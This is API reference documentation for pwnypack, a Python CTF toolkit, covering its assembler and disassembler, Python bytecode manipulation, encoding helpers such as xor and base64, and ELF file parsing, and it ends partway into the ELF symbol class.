Welcome to pwnypack!

pwnypack is the official CTF toolkit of Certified Edible Dinosaurs. It aims to provide a set of command line utilities and a python library that are useful when playing hacking CTFs.

The core functionality of pwnypack is defined in the modules of the pwnypack package. The pwny package imports all that functionality into a single namespace for convenience.

Some of the functionality of the pwnypack package is also exported through a set of commandline utilities. Run pwny help after installing pwnypack to get a list of available utilities. You can create convenience symlinks for all the included apps by running pwny symlink. Each app has a help function that is accessible using the -h parameter.

For some example of how to use pwnypack, check the write-ups on the official Certified Edible Dinosaurs website.

Package contents:

pwny package

The pwny package provides a convence metapackage that imports the entire public API of pwnypack into a single namespace:

>>> from pwny import *
>>> enhex(asm('mov rax, 0xced', target=Target(arch=Architecture.x86_64)))
u'b8ed0c0000'

For details about what exactly is made available, please consult the documentation of the individual pwnypack modules.

pwnypack package

All the functionality of pwnypack is implemented in the modules of this package.

asm – (Dis)assembler

This module contains functions to assemble and disassemble code for a given target platform. By default the keystone engine assembler will be used if it is available. If it’s not available (or if the WANT_KEYSTONE environment variable is set and it’s not 1, YES or TRUE (case insensitive)), pwnypack falls back to using the nasm assembler for nasm syntax on X86 or GNU as for any other supported syntax / architecture. Disassembly is performed by ndisasm on x86 for nasm syntax. capstone is used for any other supported syntax / architecture.

Currently, the only supported architectures are x86 (both 32 and 64 bits variants) and arm (both 32 and 64 bits variants).

class pwnypack.asm.AsmSyntax[source]

Bases: enum.IntEnum

This enumeration is used to specify the assembler syntax.

att = None

AT&T assembler syntax

intel = None

Intel assembler syntax

nasm = None

Netwide assembler syntax

pwnypack.asm.asm(code, addr=0, syntax=None, target=None, gnu_binutils_prefix=None)[source]

Assemble statements into machine readable code.

Parameters:
  • code (str) – The statements to assemble.
  • addr (int) – The memory address where the code will run.
  • syntax (AsmSyntax) – The input assembler syntax for x86. Defaults to nasm, ignored on other platforms.
  • target (Target) – The target architecture. The global target is used if this argument is None.
  • gnu_binutils_prefix (str) – When the syntax is AT&T, gnu binutils’ as and ld will be used. By default, it selects arm-*-as/ld for 32bit ARM targets, aarch64-*-as/ld for 64 bit ARM targets, i386-*-as/ld for 32bit X86 targets and amd64-*-as/ld for 64bit X86 targets (all for various flavors of *. This option allows you to pick a different toolchain. The prefix should always end with a ‘-‘ (or be empty).
Returns:

The assembled machine code.

Return type:

bytes

Raises:
  • SyntaxError – If the assembler statements are invalid.
  • NotImplementedError – In an unsupported target platform is specified.

Example

>>> from pwny import *
>>> asm('''
...     pop rdi
...     ret
... ''', target=Target(arch=Target.Arch.x86, bits=64))
b'_\xc3'
pwnypack.asm.disasm(code, addr=0, syntax=None, target=None)[source]

Disassemble machine readable code into human readable statements.

Parameters:
  • code (bytes) – The machine code that is to be disassembled.
  • addr (int) – The memory address of the code (used for relative references).
  • syntax (AsmSyntax) – The output assembler syntax. This defaults to nasm on x86 architectures, AT&T on all other architectures.
  • target (Target) – The architecture for which the code was written. The global target is used if this argument is None.
Returns:

The disassembled machine code.

Return type:

list of str

Raises:
  • NotImplementedError – In an unsupported target platform is specified.
  • RuntimeError – If ndisasm encounters an error.

Example

>>> from pwny import *
>>> disasm(b'_\xc3', target=Target(arch=Target.Arch.x86, bits=64))
['pop rdi', 'ret']

bytecode – Python bytecode manipulation

The bytecode module lets you manipulate python bytecode in a version-independent way. To facilitate this, this module provides a couple of function to disassemble and assemble python bytecode into a high-level representation and some functions to manipulate those structures.

The python version independent function take a py_internals parameter which represents the specifics of bytecode on that particular version of python. The pwnypack.py_internals module provides these internal specifics for various python versions.

Examples

Disassemble a very simple function, change an opcode and reassemble it:

>>> from pwny import *
>>> import six
>>> def foo(a):
>>>     return a - 1
...
>>> print(foo, six.get_function_code(foo).co_code, foo(5))
<function foo at 0x10590ba60> b'|dS' 4
>>> ops = bc.disassemble(foo)
>>> print(ops)
[LOAD_FAST 0, LOAD_CONST 1, BINARY_SUBTRACT, RETURN_VALUE]
>>> ops[2].name = 'BINARY_ADD'
>>> print(ops)
[LOAD_FAST 0, LOAD_CONST 1, BINARY_ADD, RETURN_VALUE]
>>> bar = bc.rebuild_func_from_ops(foo, ops, co_name='bar')
>>> print(bar, six.get_function_code(bar).co_code, bar(5))
<function bar at 0x10590bb70> b'|dS' 6
class pwnypack.bytecode.AnnotatedOp(code_obj, name, arg)[source]

An annotated opcode description. Instances of this class are generated by CodeObject.disassemble() if you set its annotate argument to True.

It contains more descriptive information about the instruction but cannot be translated back into a bytecode operation at the moment.

This class uses the code object’s reference to the python internals of the python version that it originated from and the properties of the code object to decode as much information as possible.

Parameters:
  • code_obj (CodeObject) – The code object this opcode belongs to.
  • name (str) – The mnemonic of the opcode.
  • arg (int) – The integer argument to the opcode (or None).
code = None

The numeric opcode.

code_obj = None

A reference to the CodeObject it belongs to.

has_arg = None

Whether this opcode has an argument.

has_compare = None

Whether this opcode’s argument is a compare operation.

has_const = None

Whether this opcode’s argument is a reference to a constant.

has_free = None

Whether this opcode’s argument is a reference to a free or cell var (for closures and nested functions).

has_local = None

Whether this opcode’s argument is a reference to a local.

has_name = None

Whether this opcode’s argument is a reference to the names table.

name = None

The name of the operation.

class pwnypack.bytecode.Block(label=None)[source]

A group of python bytecode ops. Produced by blocks_from_ops().

Parameters:label (Label) – The label of this block. Will be None for the first block.
label = None

The label the block represents.

next = None

A pointer to the next block.

ops = None

The opcodes contained within this block.

class pwnypack.bytecode.Op(name, arg=None)[source]

Bases: object

Describes a single bytecode operation.

Parameters:
  • name (str) – The name of the opcode.
  • arg – The argument of the opcode. Should be None for opcodes without arguments, should be a Label for opcodes that define a jump, should be an int otherwise.
arg = None

The opcode’s argument (or None).

name = None

The name of the opcode.

class pwnypack.bytecode.Label[source]

Bases: object

Used to define a label in a series of opcodes.

pwnypack.bytecode.disassemble(code, origin=None)[source]

Disassemble python bytecode into a series of Op and Label instances.

Parameters:
  • code (bytes) – The bytecode (a code object’s co_code property). You can also provide a function.
  • origin (dict) – The opcode specification of the python version that generated code. If you provide None, the specs for the currently running python version will be used.
Returns:

A list of opcodes and labels.

Return type:

list

pwnypack.bytecode.assemble(ops, target=None)[source]

Assemble a set of Op and Label instance back into bytecode.

Parameters:
  • ops (list) – A list of opcodes and labels (as returned by disassemble()).
  • target – The opcode specification of the targeted python version. If this is None the specification of the currently running python version will be used.
Returns:

The assembled bytecode.

Return type:

bytes

pwnypack.bytecode.blocks_from_ops(ops)[source]

Group a list of Op and Label instances by label.

Everytime a label is found, a new Block is created. The resulting blocks are returned as a dictionary to easily access the target block of a jump operation. The keys of this dictionary will be the labels, the values will be the Block instances. The initial block can be accessed by getting the None item from the dictionary.

Parameters:ops (list) – The list of Op and Label instances (as returned by disassemble().
Returns:The resulting dictionary of blocks grouped by label.
Return type:dict
pwnypack.bytecode.calculate_max_stack_depth(ops, target=None)[source]

Calculate the maximum stack depth (and required stack size) from a series of Op and Label instances. This is required when you manipulate the opcodes in such a way that the stack layout might change and you want to re-create a working function from it.

This is a fairly literal re-implementation of python’s stackdepth and stackdepth_walk.

Parameters:
  • ops (list) – A list of opcodes and labels (as returned by disassemble()).
  • target – The opcode specification of the targeted python version. If this is None the specification of the currently running python version will be used.
Returns:

The calculated maximum stack depth.

Return type:

int

class pwnypack.bytecode.CodeObject(co_argcount, co_kwonlyargcount, co_nlocals, co_stacksize, co_flags, co_code, co_consts, co_names, co_varnames, co_filename, co_name, co_firstlineno, co_lnotab, co_freevars, co_cellvars, origin=None)[source]

Bases: object

Represents a python code object in a cross python version way. It contains all the properties that exist on code objects on Python 3 (even when run on Python 2).

Parameters:
  • co_argcount – number of arguments (not including , * or keyword only args)
  • co_kwonlyargcount – The keyword-only argument count of this code.
  • co_nlocals – number of local variables
  • co_stacksize – virtual machine stack space required
  • co_flags – bitmap: 1=optimized | 2=newlocals | 4=*arg | 8=**arg
  • co_code – string of raw compiled bytecode
  • co_consts – tuple of constants used in the bytecode
  • co_names – tuple of names of local variables
  • co_varnames – tuple of names of arguments and local variables
  • co_filename – name of file in which this code object was created
  • co_name – name with which this code object was defined
  • co_firstlineno – number of first line in Python source code
  • co_lnotab – encoded mapping of line numbers to bytecode indices
  • co_freevars – tuple of names of closure variables
  • co_cellvars – tuple containing the names of local variables that are referenced by nested functions
  • origin (dict) – The opcode specification of the python version that generated the code. If you provide None, the specs for the currently running python version will be used.
annotate_op(op)[source]

Takes a bytecode operation (Op) and annotates it using the data contained in this code object.

Parameters:op (Op) – An Op instance.
Returns:An annotated bytecode operation.
Return type:AnnotatedOp
assemble(ops, target=None)[source]

Assemble a series of operations and labels into bytecode, analyse its stack usage and replace the bytecode and stack size of this code object. Can also (optionally) change the target python version.

Parameters:
  • ops (list) – The opcodes (and labels) to assemble into bytecode.
  • target – The opcode specification of the targeted python version. If this is None the specification of the currently running python version will be used.
Returns:

A reference to this CodeObject.

Return type:

CodeObject

disassemble(annotate=False, blocks=False)[source]

Disassemble the bytecode of this code object into a series of opcodes and labels. Can also annotate the opcodes and group the opcodes into blocks based on the labels.

Parameters:
  • annotate (bool) – Whether to annotate the operations.
  • blocks (bool) – Whether to group the operations into blocks.
Returns:

A list of Op (or AnnotatedOp) instances and labels.

Return type:

list

classmethod from_code(code, co_argcount=BORROW, co_kwonlyargcount=BORROW, co_nlocals=BORROW, co_stacksize=BORROW, co_flags=BORROW, co_code=BORROW, co_consts=BORROW, co_names=BORROW, co_varnames=BORROW, co_filename=BORROW, co_name=BORROW, co_firstlineno=BORROW, co_lnotab=BORROW, co_freevars=BORROW, co_cellvars=BORROW)[source]

Create a new instance from an existing code object. The originating internals of the instance will be that of the running python version.

Any properties explicitly specified will be overridden on the new instance.

Parameters:
  • code (types.CodeType) – The code object to get the properties of.
  • .. – The properties to override.
Returns:

A new CodeObject instance.

Return type:

CodeObject

classmethod from_function(f, *args, **kwargs)[source]

Create a new instance from a function. Gets the code object from the function and passes it and any other specified parameters to from_code().

Parameters:f (function) – The function to get the code object from.
Returns:A new CodeObject instance.
Return type:CodeObject
to_code()[source]

Convert this instance back into a native python code object. This only works if the internals of the code object are compatible with those of the running python version.

Returns:The native python code object.
Return type:types.CodeType
to_function()[source]

Convert this CodeObject back into a python function. This only works if the internals of the code object are compatible with those of the running python version.

Returns:The newly created python function.
Return type:function

codec – Data transformation

This module contains functions that allow you to manipulate, encode or decode strings and byte sequences.

pwnypack.codec.xor(key, data)[source]

Perform cyclical exclusive or operations on data.

The key can be a an integer (0 <= key < 256) or a byte sequence. If the key is smaller than the provided data, the key will be repeated.

Parameters:
  • key (int or bytes) – The key to xor data with.
  • data (bytes) – The data to perform the xor operation on.
Returns:

The result of the exclusive or operation.

Return type:

bytes

Examples

>>> from pwny import *
>>> xor(5, b'ABCD')
b'DGFA'
>>> xor(5, b'DGFA')
b'ABCD'
>>> xor(b'pwny', b'ABCDEFGHIJKLMNOPQRSTUVWXYZ')
b'15-=51)19=%5=9!)!%=-%!9!)-'
>>> xor(b'pwny', b'15-=51)19=%5=9!)!%=-%!9!)-')
b'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
pwnypack.codec.find_xor_mask(data, alphabet=None, max_depth=3, min_depth=0, iv=None)[source]

Produce a series of bytestrings that when XORed together end up being equal to data and only contain characters from the giving alphabet. The initial state (or previous state) can be given as iv.

Parameters:
  • data (bytes) – The data to recreate as a series of XOR operations.
  • alphabet (bytes) – The bytestring containing the allowed characters for the XOR values. If None, all characters except NUL bytes, carriage returns and newlines will be allowed.
  • max_depth (int) – The maximum depth to look for a solution.
  • min_depth (int) – The minimum depth to look for a solution.
  • iv (bytes) – Initialization vector. If None, it will be assumed the operation starts at an all zero string.
Returns:

A list of bytestrings that, when XOR’ed with iv (or just eachother if iv` is not providede) will be the same as ``data.

Examples

Produce a series of strings that when XORed together will result in the string ‘pwnypack’ using only ASCII characters in the range 65 to 96:

>>> from pwny import *
>>> find_xor_mask('pwnypack', alphabet=''.join(chr(c) for c in range(65, 97)))
[b'````````', b'AAAAABAA', b'QVOXQCBJ']
>>> xor(xor(b'````````', b'AAAAABAA'), b'QVOXQCBJ')
'pwnypack'
pwnypack.codec.rot13(d)

Rotate all characters in the alphabets A-Z and a-z by 13 positions in the alphabet. This is a caesar() shift of 13 along the fixed alphabets A-Z and a-z.

Parameters:d (str) – The string to the apply the cipher to.
Returns:The string with the rot13 cipher applied.
Return type:str

Examples

>>> rot13('whax')
'junk'
>>> rot13('junk')
'whax'
pwnypack.codec.caesar(shift, data, shift_ranges=('az', 'AZ'))[source]

Apply a caesar cipher to a string.

The caesar cipher is a substition cipher where each letter in the given alphabet is replaced by a letter some fixed number down the alphabet.

If shift is 1, A will become B, B will become C, etc...

You can define the alphabets that will be shift by specifying one or more shift ranges. The characters will than be shifted within the given ranges.

Parameters:
  • shift (int) – The shift to apply.
  • data (str) – The string to apply the cipher to.
  • shift_ranges (list of str) – Which alphabets to shift.
Returns:

The string with the caesar cipher applied.

Return type:

str

Examples

>>> caesar(16, 'Pwnypack')
'Fmdofqsa'
>>> caesar(-16, 'Fmdofqsa')
'Pwnypack'
>>> caesar(16, 'PWNYpack', shift_ranges=('AZ',))
'FMDOpack'
>>> caesar(16, 'PWNYpack', shift_ranges=('Az',))
'`g^iFqsA'
pwnypack.codec.enhex(d, separator='')[source]

Convert bytes to their hexadecimal representation, optionally joined by a given separator.

Parameters:
  • d (bytes) – The data to convert to hexadecimal representation.
  • separator (str) – The separator to insert between hexadecimal tuples.
Returns:

The hexadecimal representation of d.

Return type:

str

Examples

>>> from pwny import *
>>> enhex(b'pwnypack')
'70776e797061636b'
>>> enhex(b'pwnypack', separator=' ')
'70 77 6e 79 70 61 63 6b'
pwnypack.codec.dehex(d)

Convert a hexadecimal representation of a byte sequence to bytes. All non-hexadecimal characters will be removed from the input.

Parameters:d (str) – The string of hexadecimal tuples.
Returns:The byte sequence represented by d.
Return type:bytes

Examples

>>> from pwny import *
>>> dehex('70776e797061636b')
b'pwnypack'
>>> dhex('70 77 6e 79 70 61 63 6b')
b'pwnypack'
pwnypack.codec.enb64(d)

Convert bytes to their base64 representation.

Parameters:d (bytes) – The data to convert to its base64 representation.
Returns:The base64 representation of d.
Return type:str

Example

>>> from pwny import *
>>> enb64(b'pwnypack')
'cHdueXBhY2s='
pwnypack.codec.deb64(d)

Convert a base64 representation back to its original bytes.

Parameters:d (str) – The base64 representation to decode.
Returns:The bytes represented by d.
Return type:bytes

Example

>>> from pwny import *
>>> deb64('cHdueXBhY2s=')
b'pwnypack'
pwnypack.codec.enurlform(q)[source]

Convert a dictionary to a URL encoded query string.

Parameters:q (dict) – The query to encode.
Returns:The urlencoded representation of q.
Return type:str

Example

>>> from pwny import *
>>> enurlform({'foo': 'bar', 'baz': ['quux', 'corge']})
'foo=bar&baz=quux&baz=corge'
pwnypack.codec.deurlform(d)[source]

Convert a URL encoded query string to a dictionary.

Parameters:d (str) – The URL encoded query string.
Returns:A dictionary containing each key and all its values as a list.
Return type:dict

Example

>>> from pwny import *
>>> deurlform('foo=bar&baz=quux&baz=corge')
{'foo': ['bar'], 'baz': ['quux', 'corge']}
pwnypack.codec.enurlquote(v, plus=False)[source]

Percent encode a string for use in an URL.

Parameters:
  • v (str) – The value to percent encode.
  • plus (bool) – Use a plus symbol for spaces, otherwise use %20.
Returns:

The percent encoded string.

Return type:

str

Example

>>> from pwny import *
>>> enurlquote('Foo Bar/Baz', True)
'Foo+Bar/Baz
pwnypack.codec.deurlquote(d, plus=False)[source]

Decode a percent encoded string.

Parameters:
  • d (str) – The percent encoded value to decode.
  • plus (bool) – Parse a plus symbol as a space.
Returns:

The decoded version of the percent encoded of d.

Return type:

str

Example

>>> from pwny import *
>>> deurlquote('Foo+Bar/Baz')
'Foo Bar/Baz'
pwnypack.codec.frequency(v)

Perform a frequency analysis on a byte sequence or string.

Parameters:d (bytes or str) – The sequence to analyse.
Returns:A dictionary of unique elements in d and how often the occur.
Return type:dict

Example

>>> frequency('pwnypack')
{'a': 1, 'c': 1, 'k': 1, 'n': 1, 'p': 2, 'w': 1, 'y': 1}

elf – ELF file parsing

This module contains a parser for, and methods to extract information from ELF files.

class pwnypack.elf.ELF(f=None)[source]

Bases: pwnypack.target.Target

A parser for ELF files. Upon parsing the ELF headers, it will not only fill the ELF specific fields but will also populate the inherited arch, bits and endian properties based on the values it encounters.

Parameters:f (str, file or None) – The (path to) the ELF file to parse.

Example

>>> from pwny import *
>>> e = ELF('my-executable')
>>> print(e.machine)
>>> print(e.program_headers)
>>> print(e.section_headers)
>>> print(e.symbols)
class DynamicSectionEntry(type_id, value)[source]

Bases: object

Contains information about the entry in the .dynamic section.

Parameters:
  • type_id (int) – The type id of the .dynamic section entry.
  • value (int) – The value of the .dynamic section entry.
class Flags[source]

Bases: enum.IntEnum

Flags when type is flags.

bind_now = None

Non-lazy binding required.

origin = None

$ORIGIN processing is required.

static_tls = None

Object uses static thread local storage.

symbolic = None

Symbol resolution is required.

textrel = None

Text relocations exist.

class ELF.DynamicSectionEntry.Flags_1[source]

Bases: enum.IntEnum

Flags when type is flags_1.

confalt = None

Object is a configuration alternative.

direct = None

Direct bindings are enabled.

dispreldne = None

Displacement relocation has been completed.

disprelpnd = None

Displacement relocation is pending.

edited = None

Object has been modified since it was built.

endfiltee = None

Filtee terminates filter’s search.

global_ = None

Unused.

globaudit = None

Global auditing is enabled.

group = None

Object is a member of a group.

ignmuldef = None

Reserved for internal use.

initfirst = None

Objects’ initialization occurs first.

interpose = None

Object is an interposer.

loadfltr = None

Make sure filtees are loaded immediately.

nodeflib = None

Ignore the default library search path.

nodelete = None

Object cannot be removed from a process.

nodirect = None

Object contains non-direct bindings.

nodump = None

Object cannot be dumped.

nohdr = None

Reserved for internal use.

noksyms = None

Reserved for internal use.

noopen = None

Object cannot be used with dlopen.

noreloc = None

Reserved for internal use.

now = None

Perform complete relocation processing.

origin = None

$ORIGIN processing is required.

singleton = None

Singleton symbols exist.

symintpose = None

Individual symbol interposers exist.

class ELF.DynamicSectionEntry.Posflags_1[source]

Bases: enum.IntEnum

Flags when type is ELF.DynamicSectionEntry.Type.posflags_1.

groupperm = None

Identify group dependency.

lazyload = None

Identify lazily loaded dependency.

class ELF.DynamicSectionEntry.Type[source]

Bases: enum.IntEnum

Describes the dynamic section entry type.

audit = None

String table offset defining an audit library.

auxiliary = None

String table offset that names an auxiliary file.

bind_now = None

All relocations must be performed before code is executed.

checksum = None

A checksum of selected sections of the object.

config = None

String table offset to the path of the configuration file.

debug = None

Used for debugging.

depaudit = None

String table offset defining an audit library.

fini = None

The address of the termination function.

fini_array = None

Address of array of termination functions.

fini_arraysz = None

The size of the termination function array.

flags = None

Flags for this object.

flags_1 = None

Object-specific flags.

gnu_hash = None

Address of the GNU hash section.

hash = None

Address of symbol hash table within SYMTAB.

init = None

The address of the initialization function.

init_array = None

Address of array of initialization functions.

init_arraysz = None

The size of the initialization function array.

jmprel = None

Address of relocation entries that are only associated with the PLT.

max_postags = None

Number of dynamic array tags.

moveent = None

Size of move table entries.

movesz = None

Total size of move table.

movetab = None

Address of the move table.

needed = None

String table offset of the name of a needed dependency.

null = None

Marks the end of the dynamic section.

pltgot = None

Address of PLT/GOT.

pltpad = None

Address of the padding of the PLT.

pltpadsz = None

Size of padding of the PLT.

pltrel = None

Type of relocation entry in the PLT table. Either rel or rela.

pltrelsz = None

Total size of the relocation entries in the PLT.

posflags_1 = None

State flags applied to next dynamic section entry.

preinit_array = None

Address of array of pre-initialization functions.

preinit_arraysz = None

Size of pre-initialization function array.

rel = None

Similar to rela but with implicit addends.

rela = None

Address of the relocation table.

relacount = None

Relative relocation count.

relaent = None

The size a relocation table entry.

relasz = None

The size of the relocation table.

relcount = None

Relative relocation count.

relent = None

Size of a rel relocation section entry.

relsz = None

Size of the rel relocation section.

rpath = None

String table offset of a library search path.

runpath = None

String table offset of a library search path.

soname = None

String table offset for the name of the shared object.

sparc_register = None

STT_SPARC_REGISTER symbol index within the symbol table.

strsz = None

The size of the string table.

strtab = None

Address of the string table.

sunw_auxiliary = None

String table offset for one or more per-symbol, auxiliary filtees.

sunw_cap = None

Address of the capabilities section.

sunw_capchain = None

Address of the array of capability family indices.

sunw_capchainent = None

Size of the capability family index entry size.

sunw_capchainsz = None

The size of the capability family index array.

sunw_capinfo = None

Address of capability requirement symbol association table.

sunw_filter = None

String table offset for one or more per-symbol, standard filtee

sunw_ldmach = None

Machine architecture of the link-editor that produced this binary.

sunw_rtldinf = None

Reserved for internal use by the runtime-linker.

sunw_sortent = None

Size of symbol sort entries.

sunw_strpad = None

Size of dynamic string table padding.

sunw_symsort = None

Address of symbol sort section.

sunw_symsortsz = None

Size of symbol sort section.

sunw_symsz = None

Combined size of regular and local symbol table.

sunw_symtab = None

Address of symbol table for local function symbols.

sunw_tlssort = None

Address of thread local symbol sort section.

sunw_tlssortsz = None

Size of thread local symbol sort section.

symbolic = None

Object contains symbolic bindings.

syment = None

The size of a symbol table entry.

syminent = None

Size of a sumbol info table entry.

syminfo = None

Address of the symbol info table.

syminsz = None

Size of the symbol info table.

symtab = None

Address of the symbol table.

textrel = None

One or more relocation entries resides in a read-only segement.

unknown = None

Unknown dynamic section entry type, check type_id.

used = None

Same as needed.

verdef = None

Address of the version definition table.

verdefnum = None

Number of entries in the version definition table.

verneed = None

Address of the version dependency table.

verneednum = None

Number of entries in the version dependency table.

ELF.DynamicSectionEntry.type = None

The resolved type of this entry (one of Type).

ELF.DynamicSectionEntry.type_id = None

The numerical type of this entry.

ELF.DynamicSectionEntry.value = None

The value of this entry.

class ELF.Machine[source]

Bases: enum.IntEnum

The target machine architecture.

aarch64 = None

64-bit Advanced RISC Machines ARM

alpha = None

Digital Alpha

arc = None

Argonaut RISC Core, Argonaut Technologies Inc.

arc_a5 = None

ARC Cores Tangent-A5

arca = None

Arca RISC Microprocessor

arm = None

Advanced RISC Machines ARM

avr = None

Atmel AVR 8-bit microcontroller

blackfin = None

Analog Devices Blackfin (DSP) processor

coldfire = None

Motorola ColdFire

cr = None

National Semiconductor CompactRISC microprocessor

cris = None

Axis Communications 32-bit embedded processor

d10v = None

Mitsubishi D10V

d30v = None

Mitsubishi D30V

f2mc16 = None

Fujitsu F2MC16

firepath = None

Element 14 64-bit DSP Processor

fr20 = None

Fujitsu FR20

fr30 = None

Fujitsu FR30

fx66 = None

Siemens FX66 microcontroller

h8_300 = None

Hitachi H8/300

h8_300h = None

Hitachi H8/300H

h8_500 = None

Hitachi H8/500

h8s = None

Hitachi H8S

huany = None

Harvard University machine-independent object files

i386 = None

Intel 80386

i860 = None

Intel 80860

i960 = None

Intel 80960

ia64 = None

Intel IA-64 processor architecture

ip2k = None

Ubicom IP2xxx microcontroller family

javelin = None

Infineon Technologies 32-bit embedded processor

m32 = None

AT&T WE 32100

m32r = None

Mitsubishi M32R

m68hc05 = None

Motorola MC68HC05 Microcontroller

m68hc08 = None

Motorola MC68HC08 Microcontroller

m68hc11 = None

Motorola MC68HC11 Microcontroller

m68hc12 = None

Motorola M68HC12

m68hc16 = None

Motorola MC68HC16 Microcontroller

m68k = None

Motorola 68000

m88k = None

Motorola 88000

max = None

MAX Processor

me16 = None

Toyota ME16 processor

mips = None

MIPS I Architecture

mips_rs3_le = None

MIPS RS3000 Little-endian

mipsx = None

Stanford MIPS-X

mma = None

Fujitsu MMA Multimedia Accelerator

mmix = None

Donald Knuth’s educational 64-bit processor

mn10200 = None

Matsushita MN10200

mn10300 = None

Matsushita MN10300

msp430 = None

Texas Instruments embedded microcontroller msp430

ncpu = None

Sony nCPU embedded RISC processor

ndr1 = None

Denso NDR1 microprocessor

none = None

No machine

ns32k = None

National Semiconductor 32000 series

openrisc = None

OpenRISC 32-bit embedded processor

parisc = None

Hewlett-Packard PA-RISC

pcp = None

Siemens PCP

pdp10 = None

Digital Equipment Corp. PDP-10

pdp11 = None

Digital Equipment Corp. PDP-11

pdsp = None

Sony DSP Processor

pj = None

picoJava

ppc = None

PowerPC

ppc64 = None

64-bit PowerPC

prism = None

SiTera Prism

rce = None

Motorola RCE

rh32 = None

TRW RH-32

s370 = None

IBM System/370 Processor

s390 = None

IBM System/390 Processor

se_c33 = None

S1C33 Family of Seiko Epson processors

sep = None

Sharp embedded microprocessor

snp1k = None

Trebia SNP 1000 processor

sparc = None

SPARC

sparc32plus = None

Enhanced instruction set SPARC

sparcv9 = None

SPARC Version 9

st100 = None

STMicroelectronics ST100 processor

st19 = None

STMicroelectronics ST19 8-bit microcontroller

st200 = None

STMicroelectronics ST200 microcontroller

st7 = None

STMicroelectronics ST7 8-bit microcontroller

st9plus = None

STMicroelectronics ST9+ 8/16 bit microcontroller

starcore = None

Motorola Star*Core processor

superh = None

Hitachi SuperH

svx = None

Silicon Graphics SVx

tinyj = None

Advanced Logic Corp. TinyJ embedded processor family

tmm_gpp = None

Thompson Multimedia General Purpose Processor

tpc = None

Tenor Network TPC processor

tricore = None

Siemens TriCore embedded processor

unicore = None

Microprocessor series from PKU-Unity Ltd. and MPRC of Peking University

unknown = None

Unknown architecture

v800 = None

NEC V800

v850 = None

NEC v850

vax = None

Digital VAX

videocore = None

Alphamosaic VideoCore processor

vpp550 = None

Fujitsu VPP500

x86_64 = None

AMD x86-64 architecture

xtensa = None

Tensilica Xtensa Architecture

zsp = None

LSI Logic 16-bit DSP Processor

class ELF.OSABI[source]

Bases: enum.IntEnum

Describes the OS- or ABI-specific ELF extensions used by this file.

aix = None

AIX ABI

arch = None

Architecture specific ABI

arm = None

ARM ABI

aros = None

Amiga Research OS

freebsd = None

FreeBSD ABI

hp_ux = None

HP-UX ABI

irix = None

IRIX ABI

linux = None

Linux ABI

modesto = None

Novell Modesto

netbsd = None

NetBSD ABI

nsk = None

Hewlett-Packard Non-Stop Kernel

openbsd = None

OpenBSD ABI

openvms = None

OpenVMS ABI

solaris = None

Solaris ABI

system_v = None

SystemV ABI / No extensions

tru64 = None

Compaq TRU64 Unix

unknown = None

Unknown ABI

class ELF.ProgramHeader(elf, data)[source]

Bases: object

Describes how the loader will load a part of a file. Called by the ELF class.

Parameters:
  • elf (ELF) – The ELF instance owning this program header.
  • data – The content of the program header entry.
class Flags[source]

Bases: enum.IntEnum

The individual flags that make up ELF.ProgramHeader.flags.

r = None

Segment is readable

w = None

Segment is writable

x = None

Segment is executable

class ELF.ProgramHeader.Type[source]

Bases: enum.IntEnum

The segment type.

dynamic = None

The element contains dynamic linking information

gnu_eh_frame = None

This element contains the exception handler unwind information

gnu_relro = None

This element contains the readonly relocations

gnu_stack = None

This element describes the access right of the stack

interp = None

The element contains the path of the interpreter

load = None

The element contains a loadable segment

note = None

The element contains auxiliary information

null = None

The element is unused

phdr = None

This element contains the program header table itself

shlib = None

This element type is reserved

unknown = None

Unknown type, check type_id for exact type

ELF.ProgramHeader.align = None

The alignment of the segment.

ELF.ProgramHeader.filesz = None

The size of the segment in the file.

ELF.ProgramHeader.flags = None

The flags for the segment (OR’ed values of Flags).

ELF.ProgramHeader.memsz = None

The size of the segment in memory.

ELF.ProgramHeader.offset = None

Where in the file the segment is located.

ELF.ProgramHeader.paddr = None

The physical address at which the segment is loaded.

ELF.ProgramHeader.type = None

The type of the segment (Type).

ELF.ProgramHeader.type_id = None

The numerical type describing the segment.

ELF.ProgramHeader.vaddr = None

The virtual address at which the segment is loaded.

class ELF.SectionHeader(elf, data)[source]

Bases: object

Describes a section of an ELF file. Called by the ELF class.

Parameters:
  • elf (ELF) – The ELF instance owning this section header.
  • data – The content of the section header entry.
class Flags[source]

Bases: enum.IntEnum

alloc = None

Section occupies memory during execution

exclude = None

Exclude section from linking

execinstr = None

Section contains executable code

group = None

Section is member of a group

Section’s info field contains SHT index

Preserve section order after combining

maskos = None

Mask for OS specific flags

maskproc = None

Mask for processor specific flags

merge = None

Section might be merged

ordered = None

Treat sh_link, sh_info specially

os_nonconforming = None

Non-standard OS-specific handling required

strings = None

Section contains NUL terminated strings

tls = None

Section holds thread-local data

write = None

Section is writable

class ELF.SectionHeader.Type[source]

Bases: enum.IntEnum

Describes the section’s type

checksum = None

Checksum for DSO content

dynamic = None

Dynamic linking information

dynsym = None

Minimal symbol table for dynamic linking

fini_array = None

Array of termination functions

gnu_attributes = None

GNU extension – Object attributes

gnu_hash = None

GNU extension – GNU-style hash section

gnu_liblist = None

GNU extension – Pre-link library list

gnu_object_only = None

GNU extension

gnu_verdef = None

GNU extension – Version definition section

gnu_verneed = None

GNU extension – Version requirements section

gnu_versym = None

GNU extension – Version symbol table

group = None

Section group

hash = None

Symbol hash table

init_array = None

Array of initialisation functions

nobits = None

Occupies no file space, initialised to 0

note = None

Vendor or system specific notes

null = None

Inactive section header

num = None

Number of defined types

preinit_array = None

Array of initialisation functions

progbits = None

Program defined information

rel = None

Relocation entries without explicit addends

rela = None

Relocation entries with explicit addends

strtab = None

String table

sunw_comdat = None

SUN extension

sunw_move = None

SUN extension – Additional information for partially initialized data.

sunw_syminfo = None

SUN extension – Extra symbol information.

symtab = None

Full symbol table

symtab_shndx = None

Extended symbol section mapping table

unknown = None

Unknown section type

ELF.SectionHeader.addr = None

The memory address at which this section will be loaded

ELF.SectionHeader.addralign = None

Address alignment constraint

ELF.SectionHeader.content

The contents of this section.

ELF.SectionHeader.elf = None

The instance of ELF this symbol belongs to

ELF.SectionHeader.entsize = None

Size of the entries in this section

ELF.SectionHeader.flags = None

The flags for this section, see Flags

ELF.SectionHeader.info = None

Holds section type dependant extra information

Holds a section type dependant section header table index link

ELF.SectionHeader.name = None

The name of this section

ELF.SectionHeader.name_index = None

The index into the string table for this section’s name

ELF.SectionHeader.offset = None

The offset in the file where this section resides

ELF.SectionHeader.size = None

The size of this section in the file

ELF.SectionHeader.type = None

The type of this section (one of Type

ELF.SectionHeader.type_id = None

The numeric identifier of the section type

class ELF.Symbol(elf, data, strs)[source]

Bases: object

